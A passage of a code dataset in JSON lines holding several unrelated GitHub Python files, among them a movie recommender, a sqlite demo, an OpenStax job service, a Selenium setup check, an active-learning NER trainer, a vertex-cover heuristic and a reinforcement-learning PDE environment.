{n}\")\r\n","repo_name":"projectzero-exe/codingProjects","sub_path":"coding_Exercise/scanDirV2.py","file_name":"scanDirV2.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"31344592224","text":"from collections import defaultdict\n\nfrom surprise import SVD\nfrom surprise import Dataset\n\n\ndef get_top_n(predictions, n=10):\n    '''\n    予測セットに基いて各ユーザにトップN件のレコメンデーションを返す。\n    '''\n\n    # まず各ユーザに予測値をマップする。\n    top_n = defaultdict(list)\n    for uid, iid, true_r, est, _ in predictions:\n        top_n[uid].append((iid, est))\n\n    # そして各ユーザに対して予測値をソートして最も高いk個を返す。\n    for uid, user_ratings in top_n.items():\n        user_ratings.sort(key=lambda x: x[1], reverse=True)\n        top_n[uid] = user_ratings[:n]\n\n    return top_n\n\n\n# まずmovielensデータセットでSVDアルゴリズムを学習させる。\ndata = Dataset.load_builtin('ml-100k')\ntrainset = data.build_full_trainset()\nalgo = SVD()\nalgo.fit(trainset)\n\n# そして学習用データに含まれていない全ての（ユーザ、アイテムの）組み合わせに対して評価を予測する。\ntestset = trainset.build_anti_testset()\npredictions = algo.test(testset)\n\ntop_n = get_top_n(predictions, n=10)\n\n# 各ユーザにレコメンドされるアイテムを表示する。\nfor uid, user_ratings in top_n.items():\n    print(uid, [iid for (iid, _) in user_ratings])\n\n# json形式で結果を保存する。\nwith open('./results.json', 'w') as f:\n    json.dump(top_n, f, indent=2, ensure_ascii=False)\n","repo_name":"lystahi/flask-surprise-recsys","sub_path":"reccomender.py","file_name":"reccomender.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"39391423260","text":"import sqlite3\n\npeopleValues = (('Ron', 'Burgundy', 57), ('Harry', 'Potter', 23), ('Geralt', 'Rivea', 35))\n\nwith sqlite3.connect('test_database.db') as connection:\n    c = connection.cursor()\n    c.execute(\"DROP TABLE IF EXISTS People\")\n    c.execute(\"CREATE TABLE People(FirstName TEXT, LastName TEXT, Age INT)\")\n    c.executemany(\"INSERT INTO People VALUES(?, ?, ?)\",\n        peopleValues)\n\n    c.execute(\"SELECT FirstName, LastName FROM People WHERE Age > 30\")\n    for row in c.fetchall():\n        print (row)\n    ","repo_name":"taylor-peters/Python-Projects","sub_path":"sqlp5.py","file_name":"sqlp5.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"20226911086","text":"import discord\r\nfrom mongodb import getUser\r\n\r\n\r\n# wenn in keiner Rolle dann True\r\n\r\n\r\ndef giveRole(user):\r\n    jg = getUser(user.id)['jg']\r\n    sg = getUser(user.id)['sg']\r\n    if sg == 'winf':\r\n        if jg == '2020':\r\n            return 'WInformatik2020'\r\n        elif jg == '2019':\r\n            return 'WInformatik2019'\r\n        elif jg == '2018':\r\n            return 'WInformatik2018'\r\n    elif sg == 'wing':\r\n        if jg == '2020':\r\n            return 'WIngeneur2020'\r\n        elif jg == '2019':\r\n            return 'WIngeneur2019'\r\n        elif jg == '2018':\r\n            return 'WIngeneur2018'\r\n    elif sg == 'wiwi':\r\n        if jg == '2020':\r\n            return 'WWissenschaften2020'\r\n        elif jg == '2019':\r\n            return 'WWissenschaften2019'\r\n        elif jg == '2018':\r\n            return 'WWissenschaften2018'\r\n    elif sg == 'wipad':\r\n        if jg == '2020':\r\n            return 'WPädagoge2020'\r\n        elif jg == '2019':\r\n            return 'WPädagoge2019'\r\n        elif jg == '2018':\r\n            return 'WPädagoge2018'\r\n\r\n\r\n","repo_name":"luhligm/fsrbot","sub_path":"fuctions.py","file_name":"fuctions.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"4433076500","text":"\nimport asyncio\nimport logging\nfrom datetime import datetime\nfrom typing import Dict, Generator, List, Optional, Union, cast\n\nfrom app.core.errors import CustomBaseError\nfrom app.data_models.models import Job as JobModel\nfrom app.data_models.models import JobCreate, JobUpdate, UserSession\nfrom app.db.schema import Book, BookJob, Commit\nfrom app.db.schema import Jobs as JobSchema\nfrom app.db.schema import Repository\nfrom app.github import (AuthenticatedClient, GitHubRepo, get_book_repository,\n                        get_collections)\nfrom app.service.base import ServiceBase\nfrom app.service.repository import repository_service\nfrom app.service.user import user_service\nfrom app.xml_utils import xpath1\nfrom lxml import etree\nfrom sqlalchemy.exc import IntegrityError\nfrom sqlalchemy.orm import Session\n\n\nasync def get_or_create_repository(\n        db: Session,\n        repo_name: str,\n        repo_owner: str,\n        github_repo: GitHubRepo,\n        user: UserSession) -> Repository:\n    # Check if the repository exists\n    db_repo = cast(Optional[Repository], db.query(Repository).filter(\n        Repository.id == github_repo.database_id).first())\n    # If not, record it and associate it with the user\n    if db_repo is None:\n        db_repo = Repository(\n            id=github_repo.database_id,\n            name=repo_name,\n            owner=repo_owner)\n        repository_service.upsert_repositories(db, [db_repo])\n        user_service.upsert_user_repositories(\n            db, user, [github_repo])\n    return db_repo\n\n\ndef add_books_to_commit(\n        db: Session,\n        commit: Commit,\n        repo_books: List[dict],\n        collections_by_name: Dict[str, etree.ElementBase]):\n    for repo_book in repo_books:\n        slug = repo_book[\"slug\"]\n        style = repo_book[\"style\"]\n        collection_name = f\"{slug}.collection.xml\"\n        if collection_name not in collections_by_name:\n            raise CustomBaseError(f'Collection not found \"{collection_name}\"')\n        collection = collections_by_name[f\"{slug}.collection.xml\"]\n        uuid = xpath1(collection, \"//*[local-name()='uuid']\")\n        if uuid is None or not uuid.text:\n            raise CustomBaseError(\"Could not get uuid from collection xml\")\n        # TODO: Edition should be either nullable or in a different table\n        db_book = Book(uuid=uuid.text, slug=slug, edition=0, style=style)\n        commit.books.append(db_book)\n        db.add(db_book)\n\n\ndef add_books_to_job(\n        db: Session,\n        job: JobSchema,\n        books: Union[List[Book], Generator[Book, None, None]]):\n    for db_book in books:\n        book_job = BookJob(book_id=db_book.id)\n        job.books.append(book_job)\n        db.add(book_job)\n\n\nclass JobsService(ServiceBase):\n    \"\"\"If specific methods need to be overridden they can be done here.\n    \"\"\"\n    async def create(\n            self,\n            client: AuthenticatedClient,\n            db: Session,\n            job_in: JobCreate,\n            user: UserSession) -> JobModel:\n\n        repo_name = job_in.repository.name\n        repo_owner = job_in.repository.owner\n        version = job_in.version is not None and job_in.version or \"main\"\n        repo_book_in = job_in.book\n\n        github_repo, sha, timestamp, repo_books = await get_book_repository(\n            client, repo_name, repo_owner, version)\n\n        # If the user supplied an invalid argument for book\n        if repo_book_in is not None:\n            if not any(b[\"slug\"] == repo_book_in for b in repo_books):\n                raise CustomBaseError(f\"Book not in repository '{repo_book_in}'\")\n\n        async def insert_job():\n            commit = cast(Optional[Commit], db.query(Commit).filter(\n                Commit.sha == sha).first())\n            # If the commit has been recorded and has books, reuse the\n            # existing data\n            if (commit is not None and len(commit.books) != 0\n                    and commit.repository.owner == repo_owner):\n                db_repo = commit.repository\n                # Check to see if the user has been associated with this repo\n                if not any(ur.user.id == user.id for ur in db_repo.users):\n                    # If not, get the information we need and add the association\n                    # Use `get_repository` to get the viewer_permission\n                    user_service.upsert_user_repositories(\n                        db, user, [github_repo])\n            else:\n                # Could cause integrity error because it commits the\n                # repository to the database before returning\n                db_repo = await get_or_create_repository(\n                    db, repo_name, repo_owner, github_repo, user)\n\n                # Now we can record the commit\n                commit = Commit(repository_id=db_repo.id, sha=sha,\n                                timestamp=timestamp, books=[])\n                db.add(commit)\n\n                # And record all the book metadata\n                collections_by_name = await get_collections(\n                    client, repo_name, repo_owner, sha)\n                add_books_to_commit(db, commit, repo_books,\n                                    collections_by_name)\n\n                # Flush the db to populate autogenerated book and commit ids\n                db.flush()\n            db_job = JobSchema(user_id=user.id,\n                               status_id=job_in.status_id,\n                               job_type_id=job_in.job_type_id,\n                               git_ref=version,\n                               worker_version=job_in.worker_version)\n            db.add(db_job)\n\n            # And, finally, associate each book with the job          \n            books_for_job = commit.books\n            if repo_book_in is not None:\n                books_for_job = (\n                    b for b in books_for_job if b.slug == repo_book_in)\n            add_books_to_job(db, db_job, books_for_job)\n\n            db.commit()\n            return db_job\n        # Very rarely, an integrity error will occur due to asynchronism\n        # in those cases, we can wait about 100ms and try again\n        for _ in range(3):\n            try:\n                return await insert_job()\n            except IntegrityError as ie:\n                # Make these errors visible, but clarify that they were caught\n                logging.error(f\"Handled integrity error: {ie}\")\n                db.rollback()\n                await asyncio.sleep(0.1)\n        raise CustomBaseError(\"Could not create job\")\n\n    def update(self, db_session: Session, job: JobSchema, job_in: JobUpdate):\n        if isinstance(job_in.artifact_urls, list):\n            book_job_by_book_slug = {b.book.slug: b for b in job.books}\n            for artifact_url in job_in.artifact_urls:\n                book_job_by_book_slug[artifact_url.slug].artifact_url = \\\n                    artifact_url.url\n        elif job_in.artifact_urls is not None:\n            job.books[0].artifact_url = job_in.artifact_urls\n        return super().update(db_session, job, job_in, JobUpdate)\n\n    def get_jobs_in_date_range(\n            self,\n            db: Session,\n            start: datetime,\n            end: datetime,\n            order_by: Optional[List] = None) -> List[JobSchema]:\n        query = db.query(JobSchema).filter(\n            JobSchema.created_at >= start, JobSchema.created_at <= end\n        )\n        if order_by is not None:\n            query = query.order_by(*order_by)\n        return query.all()\n\n\njobs_service = JobsService(JobSchema, JobModel)\n","repo_name":"openstax/corgi","sub_path":"backend/app/app/service/jobs.py","file_name":"jobs.py","file_ext":"py","file_size_in_byte":7510,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"71039019777","text":"from selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport selenium\nimport selenium.common\nimport selenium.webdriver.chrome.options\nimport time\nimport sys\n\ndef testChromedriver(verbose=True):\n    \"\"\"\n        This command is used to test whether chomedriver is installed correctly.\n    \"\"\"\n\n    targetURL = \"http://kros3.kwola.io/\"\n\n    if verbose:\n        print(f\"Starting a Chrome browser through the chromedriver and pointing it at {targetURL}\")\n\n    chrome_options = selenium.webdriver.chrome.options.Options()\n    chrome_options.headless = True\n    chrome_options.add_argument(f\"--no-sandbox\")\n    if sys.platform == \"win32\" or sys.platform == \"win64\":\n        chrome_options.add_argument(f\"--disable-dev-shm-usage\")\n\n    capabilities = selenium.webdriver.DesiredCapabilities.CHROME\n    capabilities['loggingPrefs'] = {'browser': 'ALL'}\n\n    driver = selenium.webdriver.Chrome(desired_capabilities=capabilities, chrome_options=chrome_options)\n\n    loginElement = None\n    for attempt in range(5):\n        driver.get(targetURL)\n        try:\n            loginElement = WebDriverWait(driver, 10, 0.25).until(\n                EC.presence_of_element_located((By.CLASS_NAME, \"btn-success\"))\n            )\n            break\n        except selenium.common.exceptions.NoSuchElementException:\n            print(f\"Diagnostic URL {targetURL} did not appear to load correctly. Received a no-such-element error. Waiting 10 seconds and then retrying.\")\n            time.sleep(10)\n        except selenium.common.exceptions.TimeoutException:\n            print(f\"Diagnostic URL {targetURL} did not appear to load correctly. Received a timeout error. Waiting 10 seconds and then retrying.\")\n            time.sleep(10)\n\n    driver.close()\n\n    if loginElement is not None:\n        if verbose:\n            print(f\"Congratulations! Your Selenium installation appears to be working. We were able to load {targetURL} with a headless browser.\")\n        return True\n    else:\n        if verbose:\n            print(f\"Unfortunately, your Selenium installation does not appear to be working. We were unable to load {targetURL} with the headless browser and confirm its the Google page.\")\n        return False\n\n\n","repo_name":"genixpro/kwola","sub_path":"kwola/diagnostics/test_chromedriver.py","file_name":"test_chromedriver.py","file_ext":"py","file_size_in_byte":2299,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"79"}
+{"seq_id":"20358909296","text":"import sys, os\n\nfrom inout import load_conll, load_conll_probs\nfrom scipy.stats import entropy\nfrom ml.categorical_feat_reader import load_feats, to_text\nfrom sklearn.cluster import AgglomerativeClustering\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_distances, cosine_similarity\nfrom numpy import array, mean, zeros, dot\nfrom numpy.random import rand, randint\nfrom inout import load_set\nfrom operator import itemgetter\nfrom math import log\nfrom random import shuffle\n\ndef pre_select(mat, labels, last_unlabeled_index, n=1):\n    res = []\n    indexes = []\n    sent_indexes = []\n    entropies = []\n    prob_ent = []\n\n    j = 0\n    for sent_ind,labs in enumerate(labels):\n        token_entropy = []\n        for lab in labs:\n            start,end,lab,probs = lab\n            h = entropy(list(probs.values()))\n            p = 1 - probs[\"O\"]\n            token_entropy.append( (h, p, j) )\n            j += 1\n            #if j == last_unlabeled_index:\n            #    n = 10\n        for (entr, p, mat_ind) in sorted(token_entropy, reverse=True)[:n]:\n            res.append(mat[mat_ind])\n            sent_indexes.append(sent_ind)\n            indexes.append(mat_ind)\n            entropies.append(entr)\n            prob_ent.append(p)\n    return res, sent_indexes, indexes, entropies, prob_ent\n\n\ndef extract_f1(filename):\n    infile = open(filename)\n    f1 = -1\n    for line in infile:\n        if \"Over\" in line:\n            spl = line.strip().split()\n            f1 = float(spl[6])/100\n    infile.close()\n    return f1\n\n\nif __name__ == \"__main__\":\n    if len(sys.argv) < 10:\n        print (\"usage: %s <unlabeled set (U)> <label probabilities of U> <features of U> \\n \\\n                          <labeled set (L)> <label probabilities of L> <features of L> \\n \\\n                          <validation set (V)> <out path> <n (tokens to consider per sentence> \\n \\\n                          <similarity thresh> [fraction of U to select]\" % sys.argv[0])\n        sys.exit(-1)\n\n\n    unlab_filename = sys.argv[1]\n    unlabprob_filename = sys.argv[2]\n    unlabfeats_filename = sys.argv[3]\n\n    lab_filename = sys.argv[4]\n    labprob_filename = sys.argv[5]\n    labfeats_filename = sys.argv[6]\n    valid_filename = sys.argv[7]\n    outpath = sys.argv[8]\n\n    #\"Unlabeled\" dataset\n    sents,labels = load_conll_probs(unlabprob_filename)\n    mat = load_feats(unlabfeats_filename)\n    sents,true_labels = load_conll(unlab_filename, col=2)\n\n    #\"Labeled\" dataset\n    Lsents,Llabels = load_conll_probs(labprob_filename)\n    Lmat = load_feats(labfeats_filename)\n    Lsents,Ltrue_labels = load_conll(lab_filename, col=2)\n\n    last_unlab_index = len(mat) - 1\n\n    n = int(sys.argv[9])\n    entr_thresh = 0.6\n    sim_thresh = 0.8\n    frac = 0.1\n\n    if len(sys.argv) == 12:\n        frac = float(sys.argv[11])\n    sim_thresh = float(sys.argv[10])\n\n    #out = open(outpath, \"w\", encoding=\"utf-8\")\n\n    dist_thresh = 1 - sim_thresh\n\n    print(\"unlabeled examples:\", unlab_filename, file=sys.stderr)\n    print(\"label probabilities of the unlabeled examples:\", unlabprob_filename, file=sys.stderr)\n    print(\"features of the unlabeled examples\", unlabfeats_filename, file=sys.stderr)\n\n    print(\"labeled examples:\", lab_filename, file=sys.stderr)\n    print(\"label probabilities of the labeled examples:\", labprob_filename, file=sys.stderr)\n    print(\"features of the labeled examples\", labfeats_filename, file=sys.stderr)\n\n    print(\"outpath:\", outpath, file=sys.stderr)\n    print(\"n:\", n, file=sys.stderr)\n    print(\"sim_thresh:\", sim_thresh, file=sys.stderr)\n\n    print(\"|U| =\", len(mat))\n    print(\"|L| =\", len(Lmat))\n\n    print(\"#U sentences =\", len(labels))\n    print(\"#L sentences =\", len(Llabels))\n\n    print(\"U ntokens= \", sum([len(x) for x in labels]))\n    print(\"L ntokens= \", sum([len(x) for x in Llabels]))\n\n    mat += Lmat\n    labels += Llabels\n\n    print(\"|L| + |U| =\", len(mat))\n    print(\"#U+L sentences =\", len(labels))\n\n    print(\"ntokens= \", sum([len(x) for x in labels]))\n\n    mat_filtered, indexes_sent, indexes, entropies, prob_ent = pre_select(mat, labels, last_unlab_index, n=n)\n    print(\"len(mat)=\", len(mat))\n\n    mat_text = to_text(mat_filtered)\n\n    print(\"len(mat_filtered)=\", len(mat_filtered))\n    #vectorizer = TfidfVectorizer(lowercase=False)\n    vectorizer = CountVectorizer(lowercase=False)\n    mat_filtered = vectorizer.fit_transform(mat_text)\n\n\n    nselect = int(frac * len(sents))\n\n\n\n    print(\"Computing similarities...\")\n    sim = cosine_distances(mat_filtered)\n\n    print(\"Clustering...\")\n    #clusterer = AgglomerativeClustering(n_clusters=nselect, affinity=\"precomputed\", linkage=\"average\")\n    clusterer = AgglomerativeClustering(n_clusters=None, affinity=\"precomputed\", linkage=\"average\", distance_threshold=dist_thresh)\n    clusters = clusterer.fit_predict(sim)\n\n    groups = {}\n\n    num_labeled_in_cluster = {}\n    cluster_score = {}\n    for i, c in enumerate(clusters):\n        if c not in groups:\n            num_labeled_in_cluster[c] = 0\n            cluster_score[c] = 0\n            groups[c] = []\n        if indexes[i] > last_unlab_index:\n            num_labeled_in_cluster[c] += 1\n        groups[c].append(i)\n\n    larger_cluster_size = max([len(g) for g in groups.values()])\n    log_larger_cluster_size = log(larger_cluster_size)\n    NFEATURES = 3\n    f1_ant = 0\n\n    #Inicializar w com pesos aleatorios\n    w = rand(NFEATURES)\n    S = 20 #tamanho de cada mini-amostra\n    T = 50\n    A = 3 #numero de mini-amostras\n    M = A #numero de pares (x, recompensa) a serem selecionados da memoria de replay\n    epsilon = 0.1\n    SA = S*A\n    x_cluster = {}\n    print(\"w:\", w)\n    lr = 1\n\n    mem_size = 1000\n    memory = [] #History of most recent pairs (x_mean, DeltaF1)\n\n    for t in range(T):\n        X = []\n        selected = []\n        for i, c in enumerate(clusters):\n            x = [entropies[i], prob_ent[i], log(len(groups[c]))/log_larger_cluster_size]\n            sc = dot(w, array(x))\n            if sc > cluster_score[c]:\n                cluster_score[c] = sc\n                x_cluster[c] = (i, x)\n\n        for c, sc in sorted(cluster_score.items(), key=itemgetter(1), reverse=True):\n            if len(selected) > SA:\n                break\n            if rand() < epsilon:\n                c = randint(0, len(groups))\n            if num_labeled_in_cluster[c] == 0:\n                i,x = x_cluster[c]\n                X.append(x)\n                selected.append(indexes_sent[i])\n                print(\"sent:\", sents[indexes_sent[i]])\n                print(\"repr:\", mat[indexes[i]])\n                print(\"x:\", x)\n\n        gradient = zeros(NFEATURES)\n        avg_f1 = 0\n\n        #Para cada mini-amostra\n        for a in range(A):\n            subsample = X[a*S:(a+1)*S]\n            x_mean = mean(array(subsample), axis=0)\n\n            #Print selected sentences\n            out = open(outpath, \"w\", encoding=\"utf-8\")\n            for i in selected[a*S:(a+1)*S]:\n                sent_labels = true_labels[i]\n                sent = sents[i]\n                for j, lab in enumerate(sent_labels):\n                    start,end,true_lab = lab\n                    tok = sent[start:end]\n                    print(\"%s\\t%s\" % (tok, true_lab), file=out)\n                print(file=out)\n            out.close()\n\n            cmd = \"cat \" +  lab_filename + \" \" + outpath + \" > \" +  outpath + \".conll\"\n            #cmd = \"cat \" +  lab_filename + \"_sample5k \" + outpath + \" > \" +  outpath + \".conll\"\n            #cmd = \"cat \" + outpath + \" > \" +  outpath + \".conll\"\n            #os.system(\"cat \" + outpath + \".conll\")\n\n            print(cmd)\n            os.system(cmd)\n\n            cmd = \"train/make_prop.sh \" + outpath + \".conll \" + outpath + \".ser.gz > \" + outpath + \"_prop.txt\"\n            print(cmd)\n            os.system(cmd)\n\n            cmd = \"./train_corenlp.sh \" + outpath + \"_prop.txt\"\n            print(cmd)\n            os.system(cmd)\n\n            cmd = \"./test_corenlp.sh \" + valid_filename + \" \" + outpath + \".ser.gz \" + outpath + \".out\"\n            print(cmd)\n            os.system(cmd)\n\n            cmd = \"scripts/conlleval < \" + outpath + \".out -d \\\"\\\\t\\\" -l > \" + outpath + \".metrics\"\n            print(cmd)\n            os.system(cmd)\n\n            f1 = extract_f1(outpath + \".metrics\")\n            avg_f1 += f1\n            delta_f1 = f1 - f1_ant\n\n            gradient += delta_f1 * x_mean\n\n            memory.append( (x_mean, delta_f1) )\n            if len(memory) > mem_size:\n                memory.pop(0)\n\n            print(\"x_mean:\", x_mean)\n            print(\"DeltaF1:\", delta_f1)\n            print(\"f1:\", f1)\n\n        mem = memory\n        shuffle(mem)\n\n        n_selected_from_mem = min(M, len(memory))\n        #Use random sample from \"replay\" memory\n        for m in range(n_selected_from_mem):\n            x_mean, delta_f1 = mem[m]\n            gradient += delta_f1 * x_mean\n\n        gradient *= 1/(A+n_selected_from_mem)\n        #Atualizar pesos\n        w += lr * gradient\n        avg_f1 /= A\n        f1_ant = avg_f1\n        print(\"avgF1:\", avg_f1)\n        print(\"w:\", w)\n        print(\"gradient:\", gradient)\n\n\n","repo_name":"Haiga/searcher","sub_path":"web/NER/M02/active_learning/reinforced.py","file_name":"reinforced.py","file_ext":"py","file_size_in_byte":9113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"13632171463","text":"import time\nimport networkx as nx\nimport numpy as np\nimport random\nimport os\n\n\n\ndef mvcHills(graph, cutoff, randomSeed):\n\tglobal start_time, bestLS\n\tvc, t = adjacent(graph)\n\tvcCopy = vc\n\tstart_time = time.time()\n\tgraphCopy = graph.copy()\n\n\tpreSort = []\n\tfor i in range(0, len(vcCopy)):\n\t\ttmp = graphCopy.degree(vcCopy[i])\n\t\tpreSort.append(tmp)\n\t\t\n\tpostSort = []\n\tpostSort.append(preSort)\n\tpostSort.append(vcCopy)\n\tsorted(postSort, key=lambda x:x[0])\n\tsortVC = []\n\tfor i in range(len(postSort)):\n\t\tsortVC.append(postSort[i][1])\n\trandom.seed(randomSeed)\n\n\n\tcurrentBest = []\n\ttrace = []\n\tnodeList = list(graphCopy.nodes())\n\trandom.shuffle(nodeList)\n\tbestLS = vc\n\tfor i in range(0, len(vc)):\n\t\tintervalVC = sortVC[i:len(vc)]\n\t\tfor j in range(0, len(intervalVC)):\n\t\t\tv = intervalVC[j]\n\t\t\tnodeList = list(graphCopy.nodes())\n\t\t\tif not nodeList:\n\t\t\t\tbestLS = currentBest\n\t\t\t\ttrace.append([len(bestLS), time.time() - start_time])\n\t\t\t\tbreak\n\n\t\t\tif v not in nodeList:\n\t\t\t\tv = nodeList[0]\n\n\t\t\tfor k in range(i, len(nodeList)):\n\t\t\t\tif graphCopy.degree(nodeList[k + 1]) > graphCopy.degree(nodeList[k]):\n\t\t\t\t\tv1 = nodeList[k + 1]\n\t\t\t\t\tbreak\n\t\t\t\telif k == 0:\n\t\t\t\t\tv1 = v\n\t\t\t\t\tbreak\n\t\t\t\telif graphCopy.degree(nodeList[k - 1]) > graphCopy.degree(nodeList[k]):\n\t\t\t\t\tv1 = nodeList[k - 1]\n\t\t\t\t\tbreak\n\t\t\t\telif graphCopy.degree(nodeList[k]) == graphCopy.degree(nodeList[k + 1]) and k == len(nodeList) - 1:\n\t\t\t\t\tv1 = nodeList[k]\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tv1 = nodeList[k]\n\t\t\tcurrentBest.append(v1)\n\n\t\t\ttime_stop = time.time() - start_time\n\t\t\tif time_stop > cutoff:\n\t\t\t\ttrace.append([len(bestLS), time.time() - start_time])\n\t\t\t\tbreak\n\t\t\tif j == len(intervalVC) - 1:\n\t\t\t\tif not graphCopy.nodes():\n\t\t\t\t\tbestLS = currentBest\n\t\t\t\t\ttrace.append([len(bestLS), time.time() - start_time])\n\n\t\t\tif not graphCopy.nodes():\n\t\t\t\tbestLS = currentBest\n\t\t\t\ttrace.append([len(bestLS), time.time() - start_time])\n\t\t\t\tbreak\n\treturn bestLS, trace\n\ndef ls2(inst, cutoff, seed):\n\tv = 0\n\te = 0\n\tunweighted = 0\n\theader = []\n\tadj_list = []\n\tgraph = nx.Graph()\n\n\tread = open(inst, 'r')\n\tfor line in read:\n\t\tline = line.strip().split()\n\t\ttmp = [int(x) for x in line]\n\t\tadj_list.append(tmp)\n\tread.close()\n\tfor i in range(len(adj_list) - 1):\n\t\tif i == 0:\n\t\t\theader = adj_list[i]\n\t\telse:\n\t\t\tn = len(adj_list[i])\n\t\t\tfor j in range(1, n):\n\t\t\t\tgraph.add_edge(adj_list[i][0], adj_list[i][j])\n\trandomSeed = seed\n\tstart = time.time()\n\tcover, trace = mvcHills(graph, cutoff, randomSeed)\n\ttotal_time = time.time() - start_time\n\t#print(\"runtime: {}, number of vertices: {}\".format(total_time, len(cover)))\n\t#print(cover)\n\tcover.sort()\n\toutput_file(inst, cutoff, len(cover), cover, total_time, seed)\n\ndef output_file(file_name, T, number_VC, VC, trace, seed):\n\tos.chdir('../')\n\toutputPath = './output'\n\tfile_name = file_name.split('/')[-1].split('.')[0]\n\tsaveAs = os.path.join(outputPath, file_name + \"_\" + \"LS2\" + \"_\" + str(T) + \"_\" + str(seed) + \".sol\")\n\tfile_1 = open(saveAs, \"w+\")\n\tfile_1.write(str(number_VC) + \"\\n\")\n\tfile_1.write(str(VC) + \"\\n\")\n\tfile_1.close()\n\n\tsaveAs = os.path.join(outputPath, file_name + \"_\" + \"LS2\" + \"_\" + str(T) + \"_\" + str(seed) + \".trace\")\n\tfile_2 = open(saveAs, \"w+\")\n\n\t#for i in trace:\n\tfile_2.write(str(trace) + \", \" + str(number_VC) + \"\\n\")\n\t\n\tfile_2.close()\n\ndef adjacent(graph):\n\tglobal start_time\n\tstart_time = time.time()\n\ttotal_vertices = len(graph.nodes())\n\tvertex_cover = []\n\tedge = []\n\tfor u, v in graph.edges():\n\t\tif u in vertex_cover or v in vertex_cover:\n\t\t\tcontinue\n\t\telse:\n\t\t\tvertex_cover.append(u)\n\t\t\tvertex_cover.append(v)\n\t\t\tedge.append([len(vertex_cover), time.time() - start_time])\n\treturn vertex_cover, edge\n","repo_name":"AndyLiao-32/CSE-6140","sub_path":"Final_Project/code/LS2.py","file_name":"LS2.py","file_ext":"py","file_size_in_byte":3598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"31759866373","text":"import gym\nfrom gym import spaces\nfrom gym.utils import seeding\nimport numpy as np\nfrom os import path\nimport utils\n\nclass SpdeEnv(gym.Env):\n    metadata = {\n        'render.modes': ['human', 'rgb_array'],\n        'video.frames_per_second': 30\n    }\n    \n    @staticmethod\n    def sigmoid(x):\n        return 1/(1 + np.exp(-x))\n\n    def tanh_linear_comp(self, theta):\n        config = self.config\n        theta = np.clip(theta, -config.theta_high, config.theta_high)\n        a = np.arange(config.n_x, dtype = np.float32)\n        f = np.tanh(theta[0] * a + theta[1]) * theta[2] + theta[3]\n        return f\n    \n    def piece_wise_constant(self, theta):\n        config = self.config\n        theta_size = len(theta)\n        theta = np.clip(theta, -config.theta_high, config.theta_high)\n        f = np.array([], dtype = np.float32)\n        for i in range(config.theta_size):\n          f = np.concatenate([f, np.full((config.n_x // theta_size),  theta[i], dtype = np.float32)])\n        f = np.concatenate([f, np.full((config.n_x % theta_size),  theta[theta_size - 1], dtype = np.float32)])\n        return f\n\n    def regularize_f(self, f):\n        f = np.clip(f, -self.config.f_max, self.config.f_max)\n        return f - np.average(f)\n\n    def __init__(self, burgers, config):\n        self.burgers = burgers\n        self.config = config\n        \n      \n        u_high = np.full((config.n_x), config.u_max, dtype = np.float32)\n\n        self.action_space = spaces.Box(\n            low=-config.theta_high,\n            high=config.theta_high,\n            dtype=np.float32\n        )\n\n        self.observation_space = spaces.Box(\n            low=-u_high,\n            high=u_high,\n            dtype=np.float32\n        )\n\n        self.seed()\n\n    def seed(self, seed=None):\n        self.np_random, seed = seeding.np_random(seed)\n        return [seed]\n\n    def step(self, theta, t_start, t_end, prev_condition):\n        config = self.config\n        if config.func_type == \"piece-wise-constant\":\n            f = self.piece_wise_constant(theta)\n        elif config.func_type == \"linear-tanh\":\n            f = self.tanh_linear_comp(theta)\n        elif config.func_type == \"linear\":\n            f = theta\n        f = self.regularize_f(f)\n        \n        \n        u = self.burgers.convection_diffusion(t_start, t_end, config.nu, config.eps, prev_condition, f)\n        self.state = u\n\n        if config.cost_type == \"ustar_divergance\":\n            costs = np.sum((u[:, -1] - self.u_star)**2)\n        elif config.cost_type == \"variance\":\n            u_avg  = np.average(u[:,-1])\n            costs = np.average((u[:, -1] -  u_avg)**2)\n        elif config.cost_type == \"max-min\":\n            costs = np.max(u[:,-1]) - np.min(u[:,-1])\n        \n        du = utils.differentiate(u[:,-1], config.x_max, config.n_x)\n        \n        regularizer = config.regularizer_weight * np.average((f[1:] - f[:-1])**2)\n        costs += regularizer\n\n        return self.state[:, -1], du, -costs, False, {}\n\n    def reset(self):\n        self.state = self.burgers.u \n        self.state[:, 0] = self.burgers.InitialCondition(self.config.nu) \n        self.last_u = None\n        return self.state[:, 0]\n","repo_name":"perfan/SPDE-DRL","sub_path":"SpdeEnv.py","file_name":"SpdeEnv.py","file_ext":"py","file_size_in_byte":3156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
